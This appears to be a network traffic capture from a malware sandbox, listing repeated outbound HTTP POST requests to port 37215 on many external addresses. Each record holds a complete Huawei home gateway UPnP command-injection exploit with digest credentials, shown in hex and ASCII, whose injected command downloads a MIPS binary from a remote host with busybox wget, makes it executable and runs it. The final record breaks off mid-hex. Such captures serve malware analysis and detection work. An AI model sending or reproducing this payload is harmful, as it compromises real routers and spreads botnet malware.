Jun 10, 2024 15:38:02.793699980 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.13	51590	197.197.52.159	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.796621084 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.13	58940	156.145.128.99	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.798921108 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.13	33426	156.125.121.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.799993038 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.13	42440	156.201.150.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.801647902 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.13	45606	156.104.41.78	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.802975893 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.13	41386	41.0.102.53	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.804168940 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.13	37884	156.239.33.211	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.805330992 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.13	58028	197.120.214.252	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.806680918 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.13	51654	156.114.253.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.807666063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.13	53890	41.19.84.44	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.808787107 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 